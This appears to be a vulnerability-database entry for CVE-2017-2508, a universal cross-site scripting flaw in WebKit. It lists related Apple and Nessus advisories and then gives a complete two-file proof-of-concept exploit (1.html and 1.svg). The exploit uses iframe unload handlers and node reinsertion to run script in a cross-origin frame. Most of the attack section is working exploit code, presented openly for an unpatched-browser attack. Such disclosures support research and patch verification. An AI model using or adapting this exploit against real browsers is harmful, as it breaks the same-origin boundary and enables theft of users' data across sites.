WebKit: UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508)

🗓️ 29 Jan 2018 00:00:00Reported by RootType

UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508) allows script removal and frame restriction bypas

Reporter	Title	Published	Views	Family All 24
0day.today	WebKit - ContainerNode::parserInsertBefore Universal Cross-Site Scripting Exploit	25 May 201700:00	–	zdt
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Safari < 10.1.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities	23 May 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2508	24 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3.2	15 May 201700:00	–	apple
Apple	About the security content of Safari 10.1.1	15 May 201700:00	–	apple
Apple	About the security content of iOS 10.3.2 - Apple Support	20 Jun 201710:37	–	apple


                                                1.html
---------------------------
<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
  document.body.removeChild(document.querySelector('table'));
}

onunload = function() {
  // Clean up to fix some crashes during reload.
  while (document.childNodes.length) {
    document.removeChild(document.childNodes[0]);
  }
}

onload = function() {
  try{ frames[0].a }catch(e){ location.reload() };
  xof = frames[0].frameElement;
  xof.onload = function() {
    xof.onload = null;
    xof.src = 'javascript:alert(document.location)';
    var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
    xmlErr.src = '1.svg';
  }
  xof.src = 'data:text/html,crossOrigin';
}
</script></b></p></table></body>
---------------------------

1.svg
----------------------------
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));

var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
  // It appears that something is holding the table element alive
  // because the node destructor didn't run and its siblings' refs
  // to it weren't cleared, so it's still reachable during node 
  // traversals. That'd crash when insertedInto notifications try to 
  // use the node's parentOrShadowHostNode(), so make sure it has
  // a parent, and use a spare document to avoid traversal loops.
  top.frames[1].document.body.appendChild(t);
}

frames[0].onunload = function() {
  document.documentElement.appendChild(b);
  b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>
---------------------------

29 Jan 2018 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.01026